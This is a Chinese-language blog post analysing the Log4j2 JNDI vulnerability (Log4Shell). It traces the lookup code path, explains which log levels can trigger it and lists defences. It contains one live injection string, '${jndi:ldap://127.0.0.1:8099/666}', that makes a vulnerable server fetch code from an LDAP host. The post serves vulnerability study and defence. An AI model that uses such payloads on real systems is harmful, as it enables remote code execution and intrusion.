Log4j

前言

Log4j漏洞被称为可载入史册的里程碑式顶级供应链漏洞。

2021年底,Log4j 漏洞横空出世,在安全圈引起了轩然大波,可以说是核弹级别的漏洞,无论是渗透、研发、安服、研究,所有人都在学习和复现这个漏洞,由于其覆盖面广,引用次数庞大,直接成为可以与永恒之蓝齐名的顶级可利用漏洞,官方 CVSS 评分更是直接顶到 10.0,国内有厂商将其命名为“毒日志”,国外将其命名为 Log4Shell。

Apache log4j2是一款用于 Java 日志记录的工具。日志记录主要用来监视代码中变量的变化情况,周期性地记录到文件中供其他应用进行统计分析工作;跟踪代码运行时轨迹,作为日后审计的依据;担当集成开发环境中的调试器的作用,向文件或控制台打印代码的调试信息。其在JAVA生态环境中应用极其广泛,影响巨大。

漏洞的触发点在于利用org.apache.logging.log4j.Logger进行logerror等记录操作时未对日志message信息进行有效检查,从而导致漏洞发生,触发点是JNDI。

影响版本:2.0 <= Apache log4j2 <= 2.14.1

Basic Usage

Add the dependencies listed below to your classpath.

log4j-api.jar

log4j-core.jar

1
2
3
4
5
6
7
8
9
10
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.0</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class Log4Vul {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
String food = "taco";
logger.error("{} is not served", food);
// 12:17:56.859 [main] ERROR Log4Vul - taco is not served
}
}

{}起到占位符的作用,被替换为传入的参数

log4j提供了一些lookup功能,可以快速打印环境变量、java版本信息、日志事件、运行容器信息等内容。

logger.error("Java version :{}","${java:version}");将打印java版本

具体可以查看[官方文档](Log4j – Log4j 2 Lookups (apache.org))

可以看到有敏感的JndiLookup ,通过jndi来获取变量值

log4j.core.lookup可以找到这个类

1
2
3
4
5
6
7
8
9
public String lookup(final LogEvent event, final String key) {
if (key == null) {
return null;
}
final String jndiName = convertJndiName(key);
try (final JndiManager jndiManager = JndiManager.getDefaultManager()) {
return Objects.toString(jndiManager.lookup(jndiName), null);
} // ....
}

jndiManager#lookup有熟悉的this.context.lookup(name);context默认为InitialContext

接着看看log4j是怎么处理我们传入的message并转化为jndi的

1
MessagePatternConverter#format
  • 判断是否设置noLookups(后面讲防御就是把这个参数设为true)
  • 判断是否有${
  • 传入StrSubstitutor进行replace

image-20240809190958652

${xxx}中间的内容提取出来,传入resolveVariable处理,在Interpolator#lookup,把第一个:前的内容提取出来,这里就是jndi,在strLookupMap找到对应的Lookup类,即找到JndiLookup类,用这个类去lookup后面的部分。

image-20240809191616225

上面是使用logger.error()触发的,日志等级默认200。

一般情况下,如logger.log(Level.INFO, "${jndi:ldap://127.0.0.1:8099/666}");

会经过logIfEnabled()的判断。

image-20240809191642961

如果日志等级的值没有小于200(值越小等级越高),就不会进入logMessage来打印消息:

image-20240809191719075

所以只有OFF(0)、FATAL(100)、ERROR(200)才能利用

代码中日志等级的优先级≥默认级别才可以成功,比如Struts2的默认日志等级为Info(400),WARN(300)、ERROR、FATAL、OFF、INFO这几个级别的日志都可能被利用。

更详细的利用过程及绕过可以看:Log4j2:里程碑式的顶级供应链漏洞 | 素十八 (su18.org)

Defend

  • 升级到2.17.0版本以上
  • 设置jvm参数:-Dlog4j2.formatMsgNoLookups=true
  • 设置环境变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS=true

参考:

Log4j | Java (gitbook.io)


Log4j
https://eddiemurphy89.github.io/2024/08/08/Log4j/
作者
EddieMurphy
发布于
2024年8月8日
许可协议